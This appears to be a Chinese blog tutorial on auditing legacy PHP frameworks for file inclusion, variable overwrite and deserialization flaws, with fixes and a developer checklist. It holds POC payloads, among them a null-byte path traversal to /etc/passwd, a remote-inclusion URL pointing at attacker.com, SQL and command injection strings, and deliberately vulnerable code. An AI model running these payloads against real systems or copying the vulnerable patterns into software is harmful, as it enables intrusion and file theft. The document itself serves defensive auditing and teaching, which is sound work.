PHP 代码审计:旧版 PHP 框架漏洞,文件包含、变量覆盖,审计思路与工具使用

本文聚焦旧版PHP框架(如ThinkPHP 3.x、dedecms、Discuz等)中文件包含(LFI/RFI)、变量覆盖(extract/$$/register_globals)和反序列化(unserialize+POP链)三大高危漏洞的代码审计方法。详细阐述污点溯源路径、典型漏洞代码、POC验证、误报识别及修复加固方案,并介绍PHP专用审计工具链(Seay、RIPS、Semgrep)与人工复核要点,适用于SRC挖洞与SDL安全自查。

法律声明:本文内容仅用于网络安全学习、PHP 代码审计、SDL 安全开发自查。文中漏洞代码、POC 载荷仅用于原理演示,严禁未经授权对线上系统进行代码审计、漏洞探测。任何安全测试必须获得资产所有者书面授权,遵守《网络安全法》《数据安全法》等法律法规。

摘要

PHP 是老牌 Web 开发语言,大量历史遗留项目、中小型后台、CMS 建站系统、企业门户仍然使用 PHP 开发,且很多跑在旧版 PHP(PHP 5.x、PHP 7.0)和旧版框架(ThinkPHP 3.x、老 ThinkPHP 5.0、Laravel 低版本、dedecms、Discuz)上。这些旧版系统存在大量经典高危漏洞:文件包含、变量覆盖、反序列化、命令执行、SQL 注入,是 SRC 挖洞和代码审计的高价值目标。

很多安全审计人员习惯 Java/Node/Python 审计思路,切换到 PHP 项目时踩坑不断:不懂 register_globals 变量覆盖机制、找不到 include/include_once 文件包含 Sink、分不清(_GET/)_REQUEST/GPC 参数获取差异、对旧框架全局函数变量覆盖认识不足。

本文万字实战教程,聚焦旧版 PHP 框架三大核心高危漏洞:文件包含(LFI/RFI)、变量覆盖、反序列化漏洞,同时附带 SQL 注入、命令执行等常见漏洞审计思路,完整讲解污点溯源、漏洞原理、可复现代码、POC 验证、修复加固,同时梳理 PHP 代码审计专用工具链。适合 PHP 开发、安全工程师、代码审计人员、SRC 白帽学习使用。

前言

PHP 代码审计,底层污点分析模型和其他语言一致:Source(用户可控输入)→ 污点传播 → Sink(危险函数)。但是 PHP 有大量独有机制,是审计重点:

  1. 超全局变量$_GET、$_POST、$_REQUEST、$_COOKIE是天然污点源;
  2. register_globals(PHP4/5 早期)会把用户参数直接变成全局变量,造成变量覆盖漏洞;
  3. include、require、include_once文件包含函数,用户可控参数直接拼路径,造成任意文件读取 / 包含;
  4. extract()函数把数组展开成变量,配合用户可控数组,造成变量覆盖;
  5. unserialize()反序列化外部不可信输入,造成反序列化漏洞,PHP 反序列化比 Java 更常见、更易利用;
  6. $_REQUEST同时包含 GET、POST、Cookie 参数,是审计踩坑点。

PHP 常见污点 Source(用户可控输入)

  • $_GET URL 参数
  • $_POST POST 参数
  • $_REQUEST GET+POST+Cookie 合并
  • $_COOKIE Cookie
  • $_FILES 上传文件
  • $_SERVER['HTTP_*'] 请求头

审计重点:很多开发习惯用$_REQUEST,它会合并 GET、POST、Cookie 三个来源,审计时$_REQUEST获取的变量全部视为用户可控污点。

本文重点漏洞对应 Sink 危险函数

漏洞类型危险 Sink 函数 / 代码风险等级
文件包含(LFI/RFI)include、include_once、require、require_once,用户可控变量拼路径高危 / 严重
变量覆盖extract ()、parse_str ()、$$ 变量覆盖、register_globals中高危
反序列化unserialize ()、__wakeup/__destruct 魔术方法链高危 / 严重
SQL 注入mysql_query 拼接、mysqli_query 拼接、字符串拼 SQL高危
命令执行system()、exec()、shell_exec()、passthru()、eval()、assert()严重

前置知识点:PHP 超全局变量。$_GET、$_POST、$_REQUEST等,无论 register_globals 是否开启,它们始终存在。用户提交的参数全部可控。

一、PHP 代码审计前置准备

1.1 审计工具链(PHP 专用)

  1. VS Code / PHPStorm:源码阅读,全局搜索危险函数、变量引用;
  2. PHPStorm Xdebug:本地调试,动态跟踪变量值,复现漏洞;
  3. RIPS:PHP 专用静态扫描工具,扫描源码批量定位危险函数(老牌工具,现在部分失效);
  4. Semgrep / CodeQL:新版 PHP 静态扫描;
  5. seay 源代码审计系统:国内 PHP 审计老牌工具,内置大量危险函数规则,适合快速扫描;
  6. BurpSuite:构造 HTTP 请求,验证 POC;
  7. 本地 LAMP 环境 / Docker + PHP:复现漏洞。

1.2 快速定位 PHP 项目入口

拿到 PHP 源码,审计第一步找入口文件。

  1. 入口文件:index.php、config.php、init.php;
  2. 路由分发:$_GET['action']、$_GET['m']、$_GET['c']参数做路由,常见于旧 CMS;
  3. 框架特征:
    • ThinkPHP:ThinkPHP目录、Application目录、$this->assign()
    • Laravel:app/Http/Controllers、routes/web.php
    • dedecms、Discuz、phpcms:/include/、/data/
  4. 全局配置:config.php、config.inc.php。

审计小技巧:旧 CMS 经常把路由写在index.php最前面,require一堆文件,很多漏洞藏在 include 文件中。

1.3 PHP 污点传播特点

  1. 超全局变量$_GET等是强污点源,从入口开始追踪;
  2. 变量赋值、函数传参、数组索引传递污点;
  3. 字符串拼接、双引号变量插值"$var"是高频传播方式;
  4. $GLOBALS全局变量、extract()展开变量,会造成污点散落;
  5. include 文件跨文件污染,$_GET['xxx']可能在任意被 include 的文件中使用;
  6. 魔术方法__wakeup、__destruct在反序列化 / 脚本结束时自动执行,审计反序列化漏洞重点。

二、实战一:文件包含漏洞审计(LFI/RFI)

2.1 漏洞原理

PHP 文件包含,通过include、require、include_once、require_once加载文件。当文件名参数来自用户可控输入,直接拼接路径,攻击者可以:

  1. 本地文件包含(LFI):包含服务器本地任意文件,读取/etc/passwd、源码文件;
  2. 远程文件包含(RFI):包含远程恶意 PHP 文件,直接执行攻击者代码,拿下服务器(require_remote 等配置)。
  • Source:用户可控文件名参数;
  • Sink:include、require;
  • 风险等级:高危(LFI)/ 严重(RFI);
  • 危害:任意文件读取、代码执行、服务器沦陷。

2.2 源码审计,污点链路溯源

典型漏洞代码(旧 CMS 常见)
<?php
// 入口index.php
$page = isset($_GET['page']) ? $_GET['page'] : 'home';
// 直接拼接include,Sink
include($page . ".php");
?>

POC payload:

index.php?page=../../../../etc/passwd%00

PHP5.x 时代,%00(空字节)可以截断.php后缀,实现任意文件读取。
(PHP5.3.4 之后修复了空字节截断,但很多旧系统仍受影响。)

远程文件包含 payload:

index.php?page=http://attacker.com/shell.txt

如果开启 allow_url_include,直接包含远程恶意文件,执行攻击者代码。

常见漏洞变体:include 用户可控变量(ThinkPHP 旧版)
<?php
// 旧版ThinkPHP视图加载
$template = $_GET['tpl'];
include(APP_PATH . "view/" . $template . ".html");
?>

同理存在文件包含 / 路径穿越风险。

2.3 完整污点链路

GET 参数 page(Source) → 变量赋值 → 字符串拼接 → include(Sink)
无白名单、无路径校验,确认文件包含漏洞。

2.4 常见误报识别

SAST 扫描报文件包含,但实际不可利用:

  1. include 参数来自服务端固定变量,不是用户可控;
  2. 用户输入经过白名单校验,只允许特定文件;
  3. include 路径经过realpath校验,限制在指定目录。

2.5 漏洞修复方案

  1. 禁止用户可控参数直接拼入 include/require 路径;
  2. 使用白名单,将允许包含的文件列表固定,只允许指定文件名;
  3. 关闭远程文件包含:php.ini设置allow_url_include=Off;
  4. 规范文件路径,校验真实路径在预设目录内;
  5. 升级 PHP 版本、框架版本。

安全白名单示例:

$page = $_GET['page'];
$allowPages = ['home','about','contact'];
if(!in_array($page, $allowPages)){
    die('非法页面');
}
include($page . ".php");

2.6 纵深加固

  1. 文件包含参数使用白名单校验,禁止路径穿越符号;
  2. 升级 PHP 到安全版本(PHP 8.x),关闭危险配置;
  3. 文件系统权限最小化,禁止读取敏感目录;
  4. 使用require_once相对路径,限制包含目录。

三、实战二:变量覆盖漏洞审计

3.1 漏洞原理

变量覆盖:攻击者通过可控输入,覆盖程序中关键变量的值,篡改业务逻辑。PHP 变量覆盖常见方式:

  1. extract()函数:将数组键值对展开为变量,如果参数来自用户可控数组,可以覆盖任意变量;
  2. parse_str()函数:解析查询字符串为变量,可能覆盖;
  3. $$动态变量:$$key,用变量值做变量名,覆盖变量;
  4. register_globals:老版本 PHP 把$_GET/$_POST参数自动注册为全局变量,覆盖同名变量。
  • Source:用户可控数组 / 参数;
  • Sink:extract ()、parse_str ()、$$ 动态变量;
  • 风险等级:中高危;
  • 危害:覆盖权限变量(isAdmin)、覆盖数据库配置、篡改业务逻辑。

3.2 源码审计,污点链路溯源

场景一:extract () 变量覆盖(高频)
<?php
// 危险:extract直接展开用户可控$_GET数组,覆盖全局变量
extract($_GET);
// $action变量被用户可控参数覆盖
$action = isset($action) ? $action : 'view';
if($action == 'delete'){
    // 危险操作
    deleteUser();
}
?>

POC payload:

index.php?action=delete

extract($_GET)把$_GET的action键值展开成$action变量,覆盖原$action,触发 delete 操作。

更严重场景:覆盖权限变量

<?php
$isAdmin = false; // 初始化权限变量
extract($_GET); // 用户可控参数展开,覆盖$isAdmin
if($isAdmin){
    //管理员操作
    showAdminData();
}
?>

POC payload:index.php?isAdmin=1,直接覆盖$isAdmin=true,普通用户拿到管理员权限。

场景二:$$ 动态变量覆盖
<?php
$key = $_GET['key']; // 用户可控
$$key = 1; // 动态变量,$key的值作为变量名,覆盖同名变量
?>

如果$key=isAdmin,则$isAdmin=1,覆盖权限变量。

场景三:register_globals(PHP4/5 早期)

老版本开启 register_globals 时,$_GET、$_POST参数自动成为全局变量。

<?php
$isAdmin = false;
// register_globals开启,用户提交isAdmin=1,自动覆盖$isAdmin
if($isAdmin){
    //管理员操作
}
?>

POC:index.php?isAdmin=1,覆盖权限判断。

审计要点:老版本 PHP 系统,检查 php.ini 是否开启 register_globals,开启则所有$_GET、$_POST参数都可能覆盖全局变量。

3.3 常见误报识别

  1. extract () 参数不是用户可控数组,是服务端内部数组;
  2. 展开的变量名经过过滤,无法覆盖关键变量;
  3. 覆盖的变量不会影响关键业务逻辑判断。

3.4 漏洞修复方案

  1. 禁止使用 extract ((_GET)、extract()_POST),更不要 extract ($_REQUEST);
  2. 关闭 register_globals(php.ini 设置register_globals=Off,PHP5.4 已移除该特性);
  3. 禁止使用$$动态变量拼接用户可控变量名;
  4. 关键变量从固定来源读取,不从用户可控来源覆盖;
  5. 升级 PHP 版本(PHP5.4 后移除 register_globals)。

安全写法:

<?php
// 安全:不extract用户数组,手动白名单提取
$action = isset($_GET['action']) ? $_GET['action'] : 'view';
$allowAction = ['view','list'];
if(!in_array($action,$allowAction)){
    die('非法操作');
}
// 权限变量从session/数据库读取,不从GET覆盖
$isAdmin = $_SESSION['isAdmin'];
?>

3.5 纵深加固

  1. 关闭 register_globals,升级 PHP 版本;
  2. 代码评审禁止 extract 用户可控数组;
  3. 权限判断统一从 session、数据库读取,不依赖请求参数。

四、实战三:PHP 反序列化漏洞审计

4.1 漏洞原理

PHP 反序列化:unserialize()反序列化外部不可信字符串,生成 PHP 对象,会触发对象的魔术方法(__wakeup、__destruct、__construct)。攻击者构造恶意序列化 payload,触发 POP 链(Property-Oriented Programming,属性导向编程),最终执行任意代码、读写文件、SSRF。

  • Source:用户可控序列化字符串;
  • Sink:unserialize();
  • 风险等级:严重;
  • 危害:远程代码执行、任意文件读取、SSRF,拿下服务器。

PHP 反序列化和 Java 反序列化类似,但 PHP 利用起来往往更容易,因为 PHP 魔术方法自动触发。审计重点是:找到unserialize()接受外部输入的位置,以及项目中的危险魔术方法链。

4.2 源码审计,污点链路溯源

场景:直接反序列化用户 Cookie
<?php
// 从Cookie读取序列化字符串
$data = $_COOKIE['userinfo'];
// 直接反序列化,Sink
$user = unserialize($data);
?>

如果 Cookie 被攻击者控制,可以构造恶意序列化字符串,触发反序列化漏洞。

危险魔术方法示例
<?php
class FileHandler{
    public $filename;
    public function __destruct(){
        // __destruct脚本结束自动触发
        if(file_exists($this->filename)){
            echo file_get_contents($this->filename);
        }
    }
}
?>

攻击者构造序列化 payload,让$filename指向/etc/passwd,反序列化后__destruct自动触发,读取文件。

反序列化结合文件包含漏洞
<?php
$page = unserialize($_COOKIE['page']);
include($page); // 反序列化对象配合include,文件包含
?>

4.3 常见误报识别

  1. unserialize 参数不是外部用户可控输入,是服务端内部序列化数据;
  2. 反序列化后对象不会触发可利用的魔术方法链;
  3. 项目中没有可利用的 POP 链(危险魔术方法)。

4.4 漏洞修复方案

  1. 禁止反序列化外部不可信输入,这是最根本修复;
  2. 如果必须反序列化,使用allowed_classes限制允许的类:
$user = unserialize($data, ['allowed_classes'=>['User']]);
  1. 使用 JSON 替代序列化:json_encode/json_decode,JSON 不会触发 PHP 魔术方法;
  2. 对反序列化输入做校验、签名,防止篡改;
  3. 升级 PHP 版本、框架版本。

4.5 纵深加固

  1. 业务尽量用 JSON 序列化,不用 PHP 原生 serialize 对外;
  2. Cookie 只存会话 ID,不存序列化对象;
  3. 反序列化输入加白名单类校验;
  4. 定期扫描项目危险魔术方法,排查 POP 链。

五、PHP 其他高频漏洞补充审计思路

5.1 SQL 注入

旧版 PHP 大量使用mysql_query(PHP5.5 废弃)、mysqli_query直接拼接 SQL。

<?php
$username = $_GET['username'];
$sql = "select * from user where username='".$username."'";
mysql_query($sql); // 高危
?>

POC:?username=' or '1'='1

审计重点:搜索mysql_query、mysqli_query、query,查看 SQL 是否拼接用户输入。
安全写法:使用mysqli_prepare预处理语句或 PDO 参数化查询。

5.2 命令执行

旧版 PHP 经常出现system()、exec()、shell_exec()直接执行用户可控命令。

<?php
$ip = $_GET['ip'];
system("ping -c 4 ".$ip); // 高危
?>

POC:?ip=127.0.0.1;id

审计:搜索system、exec、shell_exec、passthru,查看是否拼接用户输入。

5.3 eval /assert 代码执行

<?php
$code = $_GET['code'];
eval($code); // 高危,执行任意PHP代码
?>

审计重点:eval、assert(PHP5.5 前)、create_function(已废弃)直接执行用户可控字符串,属于严重漏洞。

5.4 SQL 注入(MySql 字符串拼接)

老 ThinkPHP 3.x 默认使用where("$where")拼接条件,如果$where用户可控,会产生注入。

5.5 上传漏洞

旧 CMS 文件上传未校验类型,直接保存 php 文件,配合 Apache 解析漏洞执行 webshell。

六、PHP 代码审计难点:跨文件、全局变量、魔术方法

6.1 跨文件污点散落(include 链)

PHP 项目大量使用 include 加载文件,$_GET['xxx']可能在任意被 include 的文件中直接使用,污点散落在多个文件。
审计技巧:先搜索所有 include/require,梳理文件包含链,再追踪每个文件的污点使用。

6.2 $GLOBALS 全局变量

$GLOBALS保存所有全局变量,$GLOBALS['xxx']可被覆盖,影响全局逻辑。

6.3 魔术方法自动触发

反序列化漏洞关键在魔术方法:__wakeup(反序列化时)、__destruct(销毁时)、__toString(对象转字符串时)、__call。
审计反序列化,重点梳理项目中可被触发的魔术方法链(POP 链)。

6.4 双引号变量插值

PHP 双引号字符串"$var"会解析变量,用户可控$var直接拼入危险函数,静态扫描有时会漏。

七、SAST 工具扫描结果复核(区分真漏洞 / 误报)

拿到 Seay/RIPS/Semgrep 扫描报告,按照下面步骤复核:

  1. 确认污点源:变量是否来自$_GET、$_POST、$_REQUEST等用户可控输入;
  2. 完整追踪污点链路:变量是否一路传递到危险 Sink 函数;
  3. 检查中间过滤逻辑:是否过滤、白名单校验、转义;
  4. 跨文件追踪:变量可能在 include 的其他文件中使用;
  5. 构造 POC 验证漏洞可复现;
  6. 判断接口权限:是否需要登录、高权限,普通用户是否可达。

常见误报场景:

  1. 变量是服务端内部固定值,不是外部输入;
  2. 输入经过严格白名单校验,非法字符全部拦截;
  3. include 参数经过 realpath 路径校验;
  4. 反序列化加了 allowed_classes 限制。

八、SRC 漏洞报告撰写要点(PHP 代码审计)

提交 PHP 代码审计漏洞,报告写清楚下面内容,降低驳回概率:

  1. 漏洞名称、漏洞等级;
  2. 源码文件路径、函数名、入口 URL;
  3. 完整污点链路:Source → 污点传播 → Sink;
  4. 漏洞原理详细说明(文件包含需写清 LFI/RFI 区别,反序列化需写清 POP 链);
  5. POC 请求数据包、payload、复现截图;
  6. 漏洞影响范围;
  7. 修复代码、加固方案。

重点提示:PHP 反序列化报告一定要写清楚触发条件、魔术方法链,厂商审核人员才能确认漏洞可利用。变量覆盖报告要说明覆盖哪个变量、造成什么业务影响,不要只贴 payload。

九、PHP 安全开发自查清单

开发提交代码前,对照自查清单:

  1. 禁止 include/require 用户可控变量拼接路径,使用白名单;
  2. 关闭 register_globals,禁止 extract ((_GET)、extract()_POST);
  3. 禁止反序列化外部不可信输入,必须使用 allowed_classes 限制;
  4. SQL 查询使用 PDO 预处理参数化,禁止字符串拼接;
  5. 禁止 system、exec、shell_exec 拼接用户可控命令;
  6. 禁止 eval、assert、create_function 执行用户可控字符串;
  7. 文件上传校验真实文件类型,禁止上传 php 脚本;
  8. 升级 PHP 版本到 PHP 8.x,关闭危险配置;
  9. 关键权限变量从 session / 数据库读取,不依赖请求参数;
  10. 避免使用$$动态变量拼接用户可控变量名。

十、总结

PHP 代码审计,尤其是旧版 PHP 框架审计,是 SRC 挖洞中高价值领域。大量历史遗留 CMS、企业后台跑在旧版 PHP,存在文件包含、变量覆盖、反序列化这些经典漏洞,而且很多资产互联网可直接访问,攻击门槛低,一旦挖到等级高。

核心要点总结:

  1. 文件包含:include/require 接收用户可控参数拼路径,LFI 可任意文件读取,RFI 可远程代码执行。修复用白名单,关闭 allow_url_include。
  2. 变量覆盖:extract ()、parse_str ()、register_globals、$$ 动态变量覆盖关键变量,最常见利用是覆盖权限变量 isAdmin 拿管理员权限。修复禁止 extract 用户输入,关闭 register_globals。
  3. 反序列化:unserialize () 接收外部输入,触发魔术方法 POP 链,可 RCE、文件读取。修复禁止反序列化不可信输入,使用 allowed_classes,优先 JSON。

PHP 审计的工具链:Seay 源代码审计系统、RIPS、Semgrep 快速扫描,配合人工污点追踪。PHP 旧版系统的 register_globals、空字节截断等历史特性,是区别于其他语言的独有漏洞点。

对于 SRC 挖洞,遇到旧版 PHP 系统(老 ThinkPHP、dedecms、Discuz),优先测试文件包含、变量覆盖、反序列化这三类经典漏洞,产出高、命中率高。

免责声明:本文漏洞代码仅用于安全学习,禁止未经授权对任何系统进行代码审计与漏洞探测。所有安全测试必须获得资产所有者授权,遵守《网络安全法》等法律法规。


以上就是今天的分享,觉得有帮助,记得点赞+收藏,以上所说到的漏洞扫描工具都整理成压缩包了,朋友们如果需要可以微信扫描下方优快云官方认证二维码免费领取【保证100%免费】

在这里插入图片描述

img

同时还为准备学习网络安全(黑客)或者正在学习,整理了一套360独家内部资料,包含以下内容,如有需要也可文末获取:

①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

一、网络安全(黑客)学习路线

网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

在这里插入图片描述

二、网络安全教程视频

我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

三、网络安全CTF实战案例

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

img

四、网络安全面试题

最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。

在这里插入图片描述

网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。

机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!

这份完整版的网络安全学习资料已经上传优快云,朋友们如果需要可以微信扫描下方优快云官方认证二维码免费领取【保证100%免费】

img

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值